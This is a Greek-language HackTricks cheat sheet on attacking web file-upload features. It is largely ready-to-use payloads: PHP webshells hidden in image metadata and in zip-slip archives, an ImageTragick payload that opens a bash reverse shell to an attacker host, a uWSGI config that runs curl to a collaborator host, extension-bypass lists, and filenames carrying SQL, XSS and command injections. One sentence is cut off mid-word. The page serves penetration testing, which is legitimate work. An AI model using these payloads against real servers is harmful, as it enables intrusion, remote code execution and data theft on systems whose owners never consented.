.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
Μεταφόρτωση Αρχείου
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και να χακεύετε το αχακέυτο - σας προσλαμβάνουμε! (απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής).
{% embed url="https://www.stmcyber.com/careers" %}
Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων
Άλλες χρήσιμες επεκτάσεις:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Λειτουργία στο PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Παράκαμψη ελέγχων επεκτάσεων αρχείων
- Αν εφαρμόζονται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε τις μερικές φορές με κεφαλαία γράμματα: pHp, .pHP5, .PhAr ...
- Ελέγξτε προσθέτοντας μια έγκυρη επέκταση πριν από την εκτελεστική επέκταση (χρησιμοποιήστε επίσης τις προηγούμενες επεκτάσεις):
- file.png.php
- file.png.Php5
- Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να δοκιμάσετε όλους τους χαρακτήρες ascii και Unicode. (Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγούμενες αναφερθείσες επεκτάσεις)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Δοκιμάστε να παρακάμψετε τις προστασίες απατώντας τον αναλυτή επέκτασης της πλευράς του διακομιστή με τεχνικές όπως διπλασιασμός της επέκτασης ή προσθήκη ανώμαλων δεδομένων (μηδενικά bytes) μεταξύ των επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να ετοιμάσετε ένα καλύτερο φορτίο.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Προσθέστε έναν ακόμη επίπεδο επεκτάσεων στον προηγούμενο έλεγχο:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Δοκιμάστε να τοποθετήσετε την εκτελεστική επέκταση πριν από την έγκυρη επέκταση και ελπίστε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για εκμετάλλευση κακοδιαμορφώσεων Apache όπου οτιδήποτε με επέκταση .php, αλλά όχι απαραίτητα τελειώνοντας σε .php** θα εκτελέσει κώδικα):
- π.χ.: file.php.png
- Χρήση NTFS alternate data stream (ADS) στα Windows. Σε αυτήν την περίπτωση, ένας χαρακτήρας διπλού παλμού ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα κενό αρχείο με την απαγορευμένη επέκταση στον διακομιστή (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματός του. Το πρότυπο “::$data” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός τελείας μετά από αυτό το πρότυπο ενδέχεται επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (π.χ. “file.asp::$data.”)
- Δοκιμάστε να σπάσετε τα όρια των ονομάτων αρχείων. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
# Μέγιστο 255 bytes στο Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # αφαιρέστε 4 εδώ και προσθέστε .png
# Μεταφορτώστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Δημιουργήστε το φορτίο
AAA<--SNIP 232 A-->AAA.php.png
Παράκαμψη Έλεγχου Τύπου Περιεχομένου, Μαγικού Αριθμού, Συμπίεσης & Αλλαγής Μεγέθους
- Παράκαμψη των ελέγχων Τύπου Περιεχομένου με τοποθέτηση της τιμής της κεφαλίδας Content-Type σε: image/png, text/plain, application/octet-stream
- Λίστα λέξεων για το Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- Παράκαμψη του ελέγχου του μαγικού αριθμού προσθέτοντας στην αρχή του αρχείου τα bytes ενός πραγματικού εικονικού αρχείου (για να μπερδέψετε την εντολή file). Ή εισάγετε το shell μέσα στα μεταδεδομένα:
exiftool -Comment="<?php echo 'Εντολή:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
Ή μπορείτε επίσης να εισάγετε το φορτίο απευθείας σε μια εικόνα:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Εάν προστίθεται συμπίεση στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως η PHP-GD, οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το PLTE chunk τεχνική που ορίζεται εδώ για να εισάγετε κείμενο που θα επιβιώσει τη συμπίεση.
- Github με τον κώδικα
- Η ιστοσελίδα ενδέχεται επίσης να αλλάζει το μέγεθος της εικόνας, χρησιμοποιώντας για παράδειγμα τις λειτουργίες PHP-GD
imagecopyresized
ήimagecopyresampled
. Ωστόσο, μπορείτε να χρησιμοποιήσετε το IDAT chunk τεχνική που ορίζεται εδώ για να εισάγετε κείμενο που θα επιβιώσει τη συμπίεση. - Github με τον κώδικα
- Μια άλλη τεχνική για να δημιουργήσετε ένα φορτίο που επιβιώνει σε μια αλλαγή μεγέθους εικόνας, χρησιμοποιώντας τη λειτουργία PHP-GD
thumbnailImage
. Ωστόσο, μπορείτε να χρησιμοποιήσετε το tEXt chunk τεχνική που ορίζεται εδώ για να εισάγετε κείμενο που θα επιβιώσει τη συμπίεση. - Github με τον κώδικα
Άλλα Κόλπα για Έλεγχο
- Βρείτε μια ευπάθεια για να μετονομάσετε το ήδη ανεβασμένο αρχείο (για να αλλάξετε την επέκταση).
- Βρείτε μια ευπάθεια Τοπικής Συμπερίληψης Αρχείου για να εκτελέσετε την πίσω πόρτα.
- Πιθανή διαρροή πληροφοριών:
- Ανεβάστε πολλές φορές (και την ίδια στιγμή) το ίδιο αρχείο με το ίδιο όνομα
- Ανεβάστε ένα αρχείο με το όνομα ενός αρχείου ή φακέλου που υπάρχει ήδη
- Ανεβάστε ένα αρχείο με το όνομα “.”, “..”, ή “…”. Για παράδειγμα, στο Apache σε Windows, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον κατάλογο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον κατάλογο “/www/”.
- Ανεβάστε ένα αρχείο που δεν μπορεί να διαγραφεί εύκολα όπως το “…:.jpg” στο NTFS. (Windows)
- Ανεβάστε ένα αρχείο στα Windows με μη έγκυρους χαρακτήρες όπως
|<>*?”
στο όνομά του. (Windows) - Ανεβάστε ένα αρχείο στα Windows χρησιμοποιώντας απαγορευμένα ονόματα όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκιμάστε επίσης να ανεβάσετε ένα εκτελέσιμο αρχείο (.exe) ή ένα .html (λιγότερο ύποπτο) που θα εκτελέσει κώδικα όταν ανοιχτεί κατά λάθος από το θύμα.
Ειδικά κόλπα με επεκτάσεις
Εάν προσπαθείτε να ανεβάσετε αρχεία σε ένα διακομιστή PHP, ρίξτε μια ματιά στο κόλπο με το .htaccess για να εκτελέσετε κώδικα.
Εάν προσπαθείτε να ανεβάσετε αρχεία σε έναν διακομιστή ASP, ρίξτε μια ματιά στο κόλπο με το .config για να εκτελέσετε κώδικα.
Τα αρχεία .phar
είναι σαν τα .jar
για τη Java, αλλά για τη PHP, και μπορούν να χρησιμοποιηθούν όπως ένα αρχείο PHP (εκτέλεση με PHP ή συμπερίληψη μέσα σε ένα σενάριο...)
Η επέκταση .inc
χρησιμοποιείται μερικές φορές για αρχεία PHP που χρησιμοποιούνται μόνο για το εισαγωγή αρχείων, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να επιτρέψει αυτήν την επέκταση να εκτελεστεί.
Εκμετάλλευση RCE στο Jetty
Εάν μπορείτε να ανεβάσετε ένα αρχείο XML σε ένα διακομιστή Jetty, μπορείτε να αποκτήσετε RCE επειδή νέα *.xml και *.war επεξεργάζονται αυτόματα. Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο $JETTY_BASE/webapps/
και περιμένετε το shell!
Εκμετάλλευση RCE στο uWSGI
Για μια λεπτομερή εξερεύνηση αυτής της ευπαθείας ελέγξτε την αρχική έρευνα: Εκμετάλλευση RCE στο uWSGI.
Οι ευπαθότητες Εκτέλεσης Απομακρυσμένων Εντολών (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης .ini
. Τα αρχεία ρύθμισης uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, συμβολοσειρές και τελεστές. Ειδικότερα, ο τελεστής '@', χρησιμοποιούμενος ως @(αρχείο)
, σχεδιάστηκε για να συμπεριλάβει τα περιεχόμενα ενός αρχείου. Ανάμεσα στις διάφορες υποστηριζόμενες σχήματα στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο ενός διεργασίας. Αυτό το χαρακτηριστ
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, ο διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από κάποιο σφάλμα ή λόγω επίθεσης DoS) είτε το αρχείο πρέπει να οριστεί για αυτόματη επαναφόρτωση. Η λειτουργία αυτόματης επαναφόρτωσης, εάν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα χρονικά διαστήματα κατά την ανίχνευση αλλαγών.
Είναι ζωτικής σημασίας να κατανοήσετε την χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Ειδικότερα, το συζητούμενο payload μπορεί να ενσωματωθεί σε ένα δυαδικό αρχείο (όπως ένα εικονίδιο ή PDF), επεκτείνοντας περαιτέρω το πεδίο της δυνητικής εκμετάλλευσης.
Κόλπος Μεταφόρτωσης Αρχείου/SSRF με το wget
Σε ορισμένες περιπτώσεις μπορεί να ανακαλύψετε ότι ένας διακομιστής χρησιμοποιεί το wget
για κατέβασμα αρχείων και μπορείτε να υποδείξετε το URL. Σε αυτές τις περιπτώσεις, ο κώδικας ενδέχεται να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται εντός λευκής λίστας για να διασφαλίσει ότι θα κατεβούν μόνο επιτρεπόμενα αρχεία. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί.
Το μέγιστο μήκος ενός ονόματος αρχείου στο Linux είναι 255, ωστόσο, το wget περικόπτει τα ονόματα αρχείων σε 236 χαρακτήρες. Μπορείτε να κατεβάσετε ένα αρχείο με το όνομα "A"*232+".php"+".gif", αυτό το όνομα αρχείου θα παρακάμψει τον έλεγχο (όπως σε αυτό το παράδειγμα το ".gif" είναι μια έγκυρη επέκταση) αλλά το wget
θα το μετονομάσει σε "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Σημειώστε ότι μια άλλη επιλογή που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον HTTP server να ανακατευθύνει σε διαφορετικό αρχείο, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και τότε το wget θα κατεβάσει το ανακατευθυνθέν αρχείο με το νέο όνομα. Αυτό δεν θα λειτουργήσει εκτός αν το wget χρησιμοποιείται με τη παράμετρο --trust-server-names
επειδή το wget θα κατεβάσει την ανακατευθυνθείσα σελίδα με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL.
Εργαλεία
- Το Upload Bypass είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθήσει τους Pentesters και τους Bug Hunters στον έλεγχο μηχανισμών μεταφόρτωσης αρχείων. Χρησιμοποιεί διάφορες τεχνικές ανταμοιβής ευρημάτων για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας λεπτομερείς αξιολογήσεις των web εφαρμογών.
Από τη μεταφόρτωση αρχείων σε άλλες ευπαθείες
- Ορίστε το όνομα αρχείου σε
../../../tmp/lol.png
και προσπαθήστε να επιτύχετε μια διαδρομή διέλευσης - Ορίστε το όνομα αρχείου σε
sleep(10)-- -.jpg
και μπορείτε να επιτύχετε μια ενσωμάτωση SQL - Ορίστε το όνομα αρχείου σε
<svg onload=alert(document.domain)>
για να επιτύχετε ένα XSS - Ορίστε το όνομα αρχείου σε
; sleep 10;
για να δοκιμάσετε κάποια εντολή εισαγωγής (περισσότερα κόλπα εισαγωγής εντολών εδώ) - XSS σε μεταφόρτωση εικόνας (svg)
- Μεταφόρτωση αρχείου JS + XSS = Εκμετάλλευση Service Workers
- XXE σε μεταφόρτωση svg
- Ανοικτή ανακατεύθυνση μέσω μεταφόρτωσης αρχείου svg
- Δοκιμάστε διαφορετικά φορτία svg από https://github.com/allanlw/svg-cheatsheet****
- Διάσημη ευπαθής ImageTrick ευπαθεία
- Αν μπορείτε να υποδείξετε στον web server να πιάσει μια εικόνα από ένα URL μπορείτε να δοκιμάσετε να καταχωρίσετε ένα SSRF. Αν αυτή η εικόνα πρόκειται να αποθηκευτεί σε κάποιο δημόσιο site, μπορείτε επίσης να υποδείξετε ένα URL από https://iplogger.org/invisible/ και να κλέψετε πληροφορίες από κάθε επισκέπτη.
- XXE και CORS παράκαμψη με μεταφόρτωση PDF-Adobe
- Ειδικά δημιουργημένα PDF για XSS: Η ακόλουθη σελίδα παρουσιάζει πώς να ενσωματώσετε δεδομένα PDF για να λάβετε εκτέλεση JS. Αν μπορείτε να μεταφορτώσετε PDF μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελέσει αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
- Μεταφορτώστε το [eicar](https://secure.eicar.org/eicar.com.txt) περιεχόμενο για να ελέγξετε αν ο διακομιστής έχει κάποιο αντιιό
- Ελέγξτε αν υπάρχει οποιοδήποτε όριο μεγέθους μεταφόρτωσης αρχείων
Εδώ είναι μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από εδώ):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Αποθηκευμένο XSS / SSRF / XXE
- GIF: Αποθηκευμένο XSS / SSRF
- CSV: Εισαγωγή CSV
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : Εισαγωγή HTML / XSS / Ανοικτή ανακατεύθυνση
- PNG / JPEG: Επίθεση πλημμύρας pixel (DoS)
- ZIP: RCE μέσω LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Επέκταση Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
Μαγικά Bytes Κεφαλίδας
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Ανατρέξτε στο https://en.wikipedia.org/wiki/List_of_file_signatures για άλλους τύπους αρχείων.
Αυτόματη αποσυμπίεση αρχείου Zip/Tar
Αν μπορείτε να μεταφορτώσετε ένα ZIP που θα αποσυμπιέζεται μέσα στον διακομιστή, μπορείτε να κάνετε 2 πράγματα:
Σύνδεσμος συμβολικού συνδέσμου
Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα συνδεδεμένα αρχεία:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Αποσυμπίεση σε διαφορετικούς φακέλους
Η απροσδόκητη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί ένα σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύσει ενάντια στην εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων μεταφορτώσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διάβασης φακέλων του μορφώματος αρχείων ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να δραπετεύσουν από ασφαλείς φακέλους μεταφόρτωσης με τη χρήση της λειτουργικότητας αποσυμπίεσης της εφαρμογής που είναι στόχος.
Ένα αυτοματοποιημένο εργαλείο εκμετάλλευσης για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο evilarc στο GitHub. Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Επιπλέον, η συμβολική σύνδεση με το evilarc είναι μια επιλογή. Εάν ο στόχος είναι να στοχευθεί ένα αρχείο όπως το /flag.txt
, μια συμβολική σύνδεση προς αυτό το αρχείο πρέπει να δημιουργηθεί στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία επικίνδυνου αρχείου zip:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Κατάχρηση συμπίεσης για file spraying
Για περισσότερες λεπτομέρειες ελέγξτε την αρχική δημοσίευση στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Δημιουργία PHP Shell: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνιούνται μέσω της μεταβλητής
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying και Δημιουργία Συμπιεσμένου Αρχείου: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Τροποποίηση με Hex Editor ή vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας το vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για διέλευση φακέλων.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Μεταφορτώστε αυτό το περιεχόμενο με μια επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick, 7.0.1-1) (από το exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Ενσωμάτωση PHP Shell σε PNG
Η ενσωμάτωση ενός PHP shell στο κομμάτι IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά κάποιες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized
και imagecopyresampled
από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συχνά για τη μετατροπή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανέπαφο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για συγκεκριμένες περιπτώσεις χρήσης.
Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των δυνητικών εφαρμογών της, παρέχεται στο ακόλουθο άρθρο: "Κωδικοποίηση Web Shells σε κομμάτια IDAT του PNG". Αυτός ο πόρος προσφέρει μια σφαιρική κατανόηση της διαδικασίας και των επιπτώσεών της.
Περισσότερες πληροφορίες στο: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Αρχεία Πολύγλωττα
Τα αρχεία πολύγλωττα λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το GIFAR, ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι. Συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των αρχείων πολύγλωττων βρίσκεται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την επιτροπή μόνο συγκεκριμένων τύπων αρχείων για μεταφόρτωση - όπως JPEG, GIF ή DOC - για να μειώσει τον κίνδυνο που αποτελούν πιθανώς επιβλαβείς μορφές (π.χ. JS, PHP ή Phar αρχεία). Ωστόσο, ένα πολύγλωττο, με τη συμμόρφωσή του στα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτούς τους περιορισμούς.
Παρά την προσαρμοστικότητά τους, τα πολύγλωττα αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολύγλωττο ενδέχεται να ενσωματώνει ταυτόχρονα ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της μεταφόρτωσής του ενδέχεται να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολύγλωτου ενδέχεται να μην είναι αρκετή για να εξασφαλίσει τη μεταφόρτωσή του.
Περισσότερες πληροφορίες στο: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Αναφορές
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Αν σας ενδιαφέρει η επαγγελματική δραστηριότητα στο χώρο του χάκινγκ και το χάκινγκ του αδυνάτου - αναζητούμε προσωπικό! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).
{% embed url="https://www.stmcyber.com/careers" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα αποθετήρια του HackTricks και του HackTricks Cloud στο GitHub.